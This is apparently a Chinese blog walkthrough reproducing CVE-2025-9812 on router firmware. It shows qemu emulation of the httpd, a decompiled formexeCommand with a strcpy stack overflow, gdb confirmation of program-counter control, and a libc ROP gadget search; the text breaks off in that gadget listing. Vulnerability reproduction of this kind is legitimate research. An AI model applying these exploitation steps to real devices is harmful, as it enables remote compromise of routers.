{"id":97851,"date":"2026-08-30T12:16:59","date_gmt":"2026-08-30T04:16:59","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/97851.html"},"modified":"2026-08-30T12:16:59","modified_gmt":"2026-08-30T04:16:59","slug":"cve-2025-9812%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/97851.html","title":{"rendered":"CVE-2025-9812\u590d\u73b0"},"content":{"rendered":"<h5 id=\"dtixZ\">\u9996\u5148&#xff0c;\u6211\u4eec\u62ff\u5230\u8fd9\u4e2a\u56fa\u4ef6\u4e4b\u540e\u8fd8\u662f\u5148\u8fdb\u884c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u67b6\u6784<\/h5>\n<p id=\"uace41b82\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"46\" id=\"ua21a7411\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041654-6a93aeb62cf59.png\" width=\"1170\" \/><\/p>\n<h5 id=\"zSQGO\">\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\u662f32\u4f4d\u7684arm\u67b6\u6784\u7684&#xff1b;<\/h5>\n<p>~ &gt; cd \/home\/bgl1\/renwu<br \/>\n~\/renwu &gt; ls<br \/>\n&#039;US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin&#039;  &#039;_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted&#039;<br \/>\n~\/renwu &gt; cd _US_CH22V1.0BR_V1.0.0.6\\\\(468\\\\)_CN_TDC.bin.extracted<br \/>\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted &gt; sudo ip link add br0 type bridge<br \/>\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502  &#x1f980; Clawd Permission Request                      \u2502<br \/>\n\u2502  Command: ip link add br0 type bridge<br \/>\n\u2502  Waiting for your response on Windows&#8230;     \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br \/>\nClawd decision: allow<br \/>\n\u2713 Approved! Executing with sudo&#8230;<br \/>\n[sudo] bgl1 \u7684\u5bc6\u7801&#xff1a;<br \/>\n\u5bf9\u4e0d\u8d77&#xff0c;\u8bf7\u91cd\u8bd5\u3002<br \/>\n[sudo] bgl1 \u7684\u5bc6\u7801&#xff1a;<br \/>\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted &gt; sudo ip addr add 192.168.0.1\/24 dev br0             12s<br \/>\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502  &#x1f980; Clawd Permission Request                      \u2502<br \/>\n\u2502  Command: ip addr add 192.168.0.1\/24 dev br0<br \/>\n\u2502  Waiting for your response on Windows&#8230;     \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br \/>\nClawd decision: allow<br \/>\n\u2713 Approved! Executing with sudo&#8230;<br \/>\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted &gt; sudo ip link set br0 up                              3s<br \/>\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502  &#x1f980; Clawd Permission Request                      \u2502<br \/>\n\u2502  Command: ip link set br0 up<br \/>\n\u2502  Waiting for your response on Windows&#8230;     \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br \/>\nClawd decision: allow<br \/>\n\u2713 Approved! Executing with sudo&#8230;<br \/>\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted &gt; cd squashfs-root<br \/>\n~\/r\/_\/squashfs-root &gt; sudo mount -t proc proc .\/proc\/<br \/>\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502  &#x1f980; Clawd Permission Request                      \u2502<br \/>\n\u2502  Command: mount -t proc proc .\/proc\/<br \/>\n\u2502  Waiting for your response on Windows&#8230;     \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br \/>\nClawd decision: allow<br \/>\n\u2713 Approved! Executing with sudo&#8230;<br \/>\n~\/r\/_\/squashfs-root &gt; sudo mount -o bind \/dev .\/dev\/<br \/>\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502  &#x1f980; Clawd Permission Request                      \u2502<br \/>\n\u2502  Command: mount -o bind \/dev .\/dev\/<br \/>\n\u2502  Waiting for your response on Windows&#8230;     \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br \/>\nClawd decision: allow<br \/>\n\u2713 Approved! Executing with sudo&#8230;<\/p>\n<h5 id=\"pU7ew\">\u4e0a\u9762\u8fd9\u4e00\u90e8\u5206\u662f\u6211\u4eec\u8fdb\u884c\u4eff\u771f\u542f\u52a8\u4e4b\u524d\u5148\u8bbe\u7f6e\u4e00\u4e0b\u7f51\u6865\u4ee5\u53ca\u76f8\u5173\u7684\u6587\u4ef6\u6302\u8f7d&#xff0c;\u9632\u6b62\u540e\u9762\u56e0\u4e3a\u8fd9\u4e9b\u539f\u56e0\u5bfc\u81f4\u62a5\u9519&#xff1b;<\/h5>\n<p id=\"ua8ca173f\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1394\" id=\"u5d2f3f14\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041654-6a93aeb6a2e96.png\" width=\"1097\" \/><\/p>\n<p>~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root &gt; sudo chroot . \/qemu-arm-static \/bin\/httpd<\/p>\n<p>Yes:<\/p>\n<p>      ****** WeLoveLinux ****** <\/p>\n<p> Welcome to &#8230;<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nkillall: dhcps: no process killed<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nkillall: dhcps-guest: no process killed<br \/>\nINIT cert part CertInitFromFlash<br \/>\nfailed to mtd_open cert<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<\/p>\n<p>Stop Ftp Sev&#8230;&#8230;<br \/>\nPostMsg msg create error<br \/>\nPost Msg failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nhttpd listen ip &#061; 192.168.0.1 port &#061; 80<br \/>\nwebs: Listening for HTTP requests at address 220.59.9.0<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nline:458.open \/dev\/flow failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<\/p>\n<h6 id=\"L51Gp\">\u8fd9\u91cc\u6211\u4eec\u76f4\u63a5\u8fdb\u884c\u4e86qemu\u542f\u52a8&#xff0c;\u53d1\u73b0\u8fd9\u91cc\u4e0d\u9700\u8981\u8fdb\u884cpath&#xff0c;\u76f4\u63a5\u8fdb\u884cpatch\u5c31\u884c<\/h6>\n<h5 id=\"BplxG\"><\/h5>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"781\" id=\"uce17c9da\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041655-6a93aeb751660.png\" width=\"578\" \/><\/p>\n<h5 id=\"nkLw5\">\u8fd9\u91cc\u7531\u4e8e\u6211\u7684emba\u56e0\u4e3adocker\u7684\u539f\u56e0&#xff0c;\u65e0\u6cd5\u8fdb\u884c\u6b63\u5e38\u626b\u63cf&#xff0c;\u6240\u4ee5&#xff0c;\u8fd9\u91cc\u4f7f\u7528ai\u8fdb\u884c\u626b\u63cf\u4e00\u4e0b<\/h5>\n<p id=\"ue8cd2d85\">\n<h5 id=\"ihPYe\">\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\u4e86doSystemCmd\u51fd\u6570&#xff0c;\u8fd9\u4e2a\u51fd\u6570\u5185\u90e8\u8c03\u7528\u7684\u662fsystem&#xff0c;\u4f46\u662f\u6211\u4eec\u6bd4\u8f83\u83dc&#xff0c;\u8fd8\u662f\u4f7f\u7528strcpy\u5427<\/h5>\n<p>int __fastcall formexeCommand(int a1)<br \/>\n{<br \/>\n  size_t v1; \/\/ r0<br \/>\n  char v4[4096]; \/\/ [sp&#043;10h] [bp-231Ch] BYREF<br \/>\n  char v5[4096]; \/\/ [sp&#043;1010h] [bp-131Ch] BYREF<br \/>\n  char s1[256]; \/\/ [sp&#043;2010h] [bp-31Ch] BYREF<br \/>\n  char s[512]; \/\/ [sp&#043;2110h] [bp-21Ch] BYREF<br \/>\n  size_t n; \/\/ [sp&#043;2310h] [bp-1Ch]<br \/>\n  FILE *stream; \/\/ [sp&#043;2314h] [bp-18h]<br \/>\n  char *src; \/\/ [sp&#043;2318h] [bp-14h]<br \/>\n  int v11; \/\/ [sp&#043;231Ch] [bp-10h]<\/p>\n<p>  memset(s, 0, sizeof(s));<br \/>\n  memset(s1, 0, sizeof(s1));<br \/>\n  memset(v5, 0, sizeof(v5));<br \/>\n  memset(v4, 0, sizeof(v4));<br \/>\n  v11 &#061; 0;<br \/>\n  src &#061; (char *)sub_28B84(a1, &#034;cmdinput&#034;, &amp;unk_852EC);<br \/>\n  strcpy(s, src);<br \/>\n  sub_4F554(s1, s);<br \/>\n  if ( !strcmp(s1, &#034;cd&#034;) )<br \/>\n  {<br \/>\n    v1 &#061; strlen(path_buf);<br \/>\n    sub_4F634(path_buf, s, v1);<br \/>\n    doSystemCmd();<br \/>\n  }<br \/>\n  else if ( !strcmp(s1, &#034;ls&#034;) || !strcmp(s1, &#034;cat&#034;) )<br \/>\n  {<br \/>\n    sub_4F280(s);<br \/>\n    doSystemCmd();<br \/>\n  }<br \/>\n  else if ( !strcmp(s1, &#034;echo&#034;) )<br \/>\n  {<br \/>\n    sub_4EFA8(s);<br \/>\n    doSystemCmd();<br \/>\n  }<br \/>\n  else<br \/>\n  {<br \/>\n    if ( strcmp(s1, &#034;pwd&#034;) )<br \/>\n      strcmp(s1, &#034;ping&#034;);<br \/>\n    doSystemCmd();<br \/>\n  }<br \/>\n  stream &#061; fopen(&#034;\/tmp\/cmdTmp.txt&#034;, &#034;r&#034;);<br \/>\n  while ( 1 )<br \/>\n  {<br \/>\n    memset(v4, 0, sizeof(v4));<br \/>\n    if ( !fgets(v4, 4096, stream) )<br \/>\n      break;<br \/>\n    n &#061; strlen(v4);<br \/>\n    if ( v11 &#043; n &#043; 1 &gt; 0x1000 )<br \/>\n      break;<br \/>\n    memcpy(&amp;v5[v11], v4, n);<br \/>\n    v11 &#043;&#061; n;<br \/>\n  }<br \/>\n  fclose(stream);<br \/>\n  sub_29504(<br \/>\n    a1,<br \/>\n    &#034;HTTP\/1.1 200 OK\\\\nContent-type: text\/plain; charset&#061;utf-8\\\\nPragma: no-cache\\\\nCache-Control: no-cache\\\\n\\\\n&#034;);<br \/>\n  sub_29504(a1, &#034;%s&#034;, v5);<br \/>\n  return sub_29A4C(a1, 200);<br \/>\n}<\/p>\n<p id=\"u645c01d7\">\n<h5 id=\"EEUA5\">\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\u51fd\u6570<\/h5>\n<p>; Attributes: bp-based frame fpd&#061;0xFFFFFFF8<\/p>\n<p>; int __fastcall formexeCommand(int)<br \/>\nEXPORT formexeCommand<br \/>\nformexeCommand<\/p>\n<p>var_22F8&#061; -0x22F8<br \/>\nvar_12F8&#061; -0x12F8<br \/>\ns1&#061; -0x314<br \/>\ns&#061; -0x214<br \/>\nn&#061; -0x14<br \/>\nstream&#061; -0x10<br \/>\nsrc&#061; -0xC<br \/>\nvar_8&#061; -8<br \/>\nvar_4&#061; -4<\/p>\n<p>PUSH            {R4,R11,LR}<br \/>\nADD             R11, SP, #8<br \/>\nSUB             SP, SP, #0x2300<br \/>\nSUB             SP, SP, #0x24<br \/>\nLDR             R4, &#061;(_GLOBAL_OFFSET_TABLE_ &#8211; 0x4F8F4)<br \/>\nADD             R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_<br \/>\nMOV             R3, #0xFFFFDCEC<br \/>\nSUB             R12, R11, #-(-8&#043;var_4)<br \/>\nSTR             R0, [R12,R3]<br \/>\nMOV             R3, #0xFFFFDCE8<br \/>\nSUB             R0, R11, #-(-8&#043;var_4)<br \/>\nSTR             R1, [R0,R3]<br \/>\nMOV             R3, #0xFFFFDCE4<br \/>\nSUB             R1, R11, #-(-8&#043;var_4)<br \/>\nSTR             R2, [R1,R3]<br \/>\nSUB             R2, R11, #-(-8&#043;s)<br \/>\nMOV             R3, #0x200<br \/>\nMOV             R0, R2  ; s<br \/>\nMOV             R1, #0  ; c<br \/>\nMOV             R2, R3  ; n<br \/>\nBL              memset<br \/>\nSUB             R2, R11, #-(-8&#043;s1)<br \/>\nMOV             R3, #0x100<br \/>\nMOV             R0, R2  ; s<br \/>\nMOV             R1, #0  ; c<br \/>\nMOV             R2, R3  ; n<br \/>\nBL              memset<br \/>\nMOV             R3, #0xFFFFECF0<br \/>\nSUB             R12, R11, #-(-8&#043;var_4)<br \/>\nADD             R2, R12, R3<br \/>\nMOV             R3, #0x1000<br \/>\nMOV             R0, R2  ; s<br \/>\nMOV             R1, #0  ; c<br \/>\nMOV             R2, R3  ; n<br \/>\nBL              memset<br \/>\nMOV             R3, #0xFFFFDCF0<br \/>\nSUB             R0, R11, #-(-8&#043;var_4)<br \/>\nADD             R2, R0, R3<br \/>\nMOV             R3, #0x1000<br \/>\nMOV             R0, R2  ; s<br \/>\nMOV             R1, #0  ; c<br \/>\nMOV             R2, R3  ; n<br \/>\nBL              memset<br \/>\nMOV             R3, #0<br \/>\nSTR             R3, [R11,#-8&#043;var_8]<br \/>\nMOV             R3, #0xFFFFDCEC<br \/>\nSUB             R1, R11, #-(-8&#043;var_4)<br \/>\nLDR             R0, [R1,R3]<br \/>\nLDR             R3, &#061;(aCmdinput &#8211; 0x91DF8) ; &#034;cmdinput&#034;<br \/>\nADD             R3, R4, R3 ; &#034;cmdinput&#034;<br \/>\nMOV             R1, R3<br \/>\nLDR             R3, &#061;(unk_852EC &#8211; 0x91DF8)<br \/>\nADD             R3, R4, R3 ; unk_852EC<br \/>\nMOV             R2, R3<br \/>\nBL              sub_28B84<br \/>\nSTR             R0, [R11,#-8&#043;src]<br \/>\nSUB             R3, R11, #-(-8&#043;s)<br \/>\nMOV             R0, R3  ; dest<br \/>\nLDR             R1, [R11,#-8&#043;src] ; src<br \/>\nBL              strcpy<br \/>\nSUB             R2, R11, #-(-8&#043;s1)<br \/>\nSUB             R3, R11, #-(-8&#043;s)<br \/>\nMOV             R0, R2<br \/>\nMOV             R1, R3<br \/>\nBL              sub_4F554<br \/>\nSUB             R3, R11, #-(-8&#043;s1)<br \/>\nMOV             R0, R3  ; s1<br \/>\nLDR             R3, &#061;(aCd &#8211; 0x91DF8) ; &#034;cd&#034;<br \/>\nADD             R3, R4, R3 ; &#034;cd&#034;<br \/>\nMOV             R1, R3  ; s2<br \/>\nBL              strcmp<br \/>\nMOV             R3, R0<br \/>\nCMP             R3, #0<br \/>\nBNE             loc_4FA68<\/p>\n<h5 id=\"zKBdg\">\u6211\u4eec\u8fd9\u91cc\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u6f0f\u6d1e\u51fd\u6570formexeCommand\u7684\u6c47\u7f16\u4ee3\u7801&#xff0c;\u6211\u4eec\u53ef\u4ee5\u8ba1\u7b97\u51fa\u8fd9\u4e2a\u51fd\u6570\u6808\u7684\u5927\u5c0f<\/h5>\n<p id=\"u45da6714\">SUB SP, SP, #0x2300<\/p>\n<p id=\"u39f99c96\">SUB SP, SP, #0x24<\/p>\n<h5 id=\"mfpN0\">\u6211\u4eec\u770b\u8fd9\u4e24\u53e5\u6c47\u7f16\u7684\u4ee3\u7801&#xff0c;\u5c31\u662f\u6808\u7a7a\u95f4\u7684\u5927\u5c0f8996\u5b57\u8282<\/h5>\n<p id=\"u39d0fd23\">\n<p id=\"u93380763\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"817\" id=\"u32d924b8\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041655-6a93aeb771df1.png\" width=\"748\" \/><\/p>\n<h5 id=\"YWQPy\">\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\u8fd9\u4e2as\u7684\u76f8\u5bf9\u504f\u79fb\u91cf\u4e3a540\u5b57\u8282&#xff0c;\u8fd9\u662f\u9759\u6001\u8c03\u8bd5&#xff0c;\u6211\u4eec\u53bbgdb\u52a8\u6001\u8c03\u8bd5\u4e00\u4e0b&#xff0c;\u786e\u8ba4\u4e00\u4e0b\u504f\u79fb\u91cf<\/h5>\n<h5 id=\"YDcQo\">\u8fd9\u91cc\u5148\u8fdb\u884cqemu\u542f\u52a8<\/h5>\n<p>~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root &gt; sudo chroot . .\/qemu-arm-static -g 1234 \/bin\/httpd                                   1m 29s<\/p>\n<p>Yes:<\/p>\n<p>      ****** WeLoveLinux ****** <\/p>\n<p> Welcome to &#8230;<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nkillall: dhcps: no process killed<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nkillall: dhcps-guest: no process killed<br \/>\nINIT cert part CertInitFromFlash<br \/>\nfailed to mtd_open cert<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<\/p>\n<p>Stop Ftp Sev&#8230;&#8230;<br \/>\nPostMsg msg create error<br \/>\nPost Msg failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nhttpd listen ip &#061; 192.168.0.1 port &#061; 80<br \/>\nwebs: Listening for HTTP requests at address 220.59.9.0<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nconnect: No such file or directory<br \/>\nConnect to server failed.<br \/>\nline:458.open \/dev\/flow failed.<br \/>\nsh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB: File name too long<\/p>\n<p id=\"u02474f6e\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1543\" id=\"ua622e193\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041655-6a93aeb79534b.png\" width=\"1406\" \/><\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"147\" id=\"uf5f9d597\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041656-6a93aeb8e1d84.png\" width=\"2528\" \/><\/p>\n<h5 id=\"Gthyx\">\u542f\u52a8gdb\u5e76\u4e14\u53d1\u9001\u811a\u672c<\/h5>\n<p id=\"ue14d7f76\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1506\" id=\"u5f3b612d\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041657-6a93aeb92e525.png\" width=\"1172\" \/><\/p>\n<h5 id=\"eZHZg\">\u8fd9\u91cc\u770b\u5230pc\u6307\u9488\u91cc\u9762\u662fb\u3002\u6240\u4ee5\u6211\u4eec\u7b97\u51fa\u6765\u7684\u504f\u79fb\u91cf\u662f\u5bf9\u7684<\/h5>\n<h5 id=\"yi5NR\">\u786e\u8ba4\u5b8c\u4e4b\u540e\u5c31\u53ef\u4ee5\u6784\u9020rop\u4e86<\/h5>\n<p>~\/r\/c\/_\/squashfs-root &gt; sudo cat \/proc\/$(pgrep qemu-arm)\/maps | grep libc.so                                                                                 err 1|1<br \/>\n[sudo] bgl1 \u7684\u5bc6\u7801&#xff1a;<br \/>\n66562000-665c7000 r&#8211;p 00000000 08:03 2416702                            \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/libc.so.0<br \/>\n665cf000-665d0000 r&#8211;p 00065000 08:03 2416702                            \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/libc.so.0<br \/>\n665d0000-665d1000 rw-p 00066000 08:03 2416702                            \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/libc.so.0<br \/>\n6670f000-66714000 r&#8211;p 00000000 08:03 2416697                            \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/ld-uClibc.so.0<br \/>\n6671b000-6671c000 r&#8211;p 00004000 08:03 2416697                            \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/ld-uClibc.so.0<br \/>\n6671c000-6671d000 rw-p 00005000 08:03 2416697                            \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/ld-uClibc.so.0<br \/>\n~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root &gt; arm-linux-gnueabi-readelf -s lib\/libc.so.0 | grep &#034; system&#064;&#034;<br \/>\n~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root &gt; arm-linux-gnueabi-objdump -d lib\/libc.so.0 | grep -A2 &#034;pop.*r0.*pc&#034;                 err 0|1<br \/>\n   19744:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   19748:00053df0 strdeqr3, [r5], -r0<br \/>\n   1974c:000009e8 andeqr0, r0, r8, ror #19<br \/>\n&#8212;<br \/>\n   2f354:e8bd81ff pop{r0, r1, r2, r3, r4, r5, r6, r7, r8, pc}<br \/>\n   2f358:0003e1dc ldrdeqlr, [r3], -ip<br \/>\n   2f35c:000010fc strdeqr1, [r0], -ip<br \/>\n&#8212;<br \/>\n   3224c:e8bd80bf pop{r0, r1, r2, r3, r4, r5, r7, pc}<br \/>\n   32250:0003b2f8 strdeqfp, [r3], -r8<br \/>\n   32254:000011a8 andeqr1, r0, r8, lsr #3<br \/>\n&#8212;<br \/>\n   33e48:e8bd801f pop{r0, r1, r2, r3, r4, pc}<br \/>\n   33e4c:000396e0 andeqr9, r3, r0, ror #13<br \/>\n   33e50:000017c0 andeqr1, r0, r0, asr #15<br \/>\n&#8212;<br \/>\n   33eac:e8bd801f pop{r0, r1, r2, r3, r4, pc}<br \/>\n   33eb0:00039684 andeqr9, r3, r4, lsl #13<br \/>\n   33eb4:000017c0 andeqr1, r0, r0, asr #15<br \/>\n&#8212;<br \/>\n   34470:e8bd801f pop{r0, r1, r2, r3, r4, pc}<br \/>\n   34474:000390b8 strheqr9, [r3], -r8<br \/>\n   34478:00001b18 andeqr1, r0, r8, lsl fp<br \/>\n&#8212;<br \/>\n   344d4:e8bd801f pop{r0, r1, r2, r3, r4, pc}<br \/>\n   344d8:0003905c andeqr9, r3, ip, asr r0<br \/>\n   344dc:00001b18 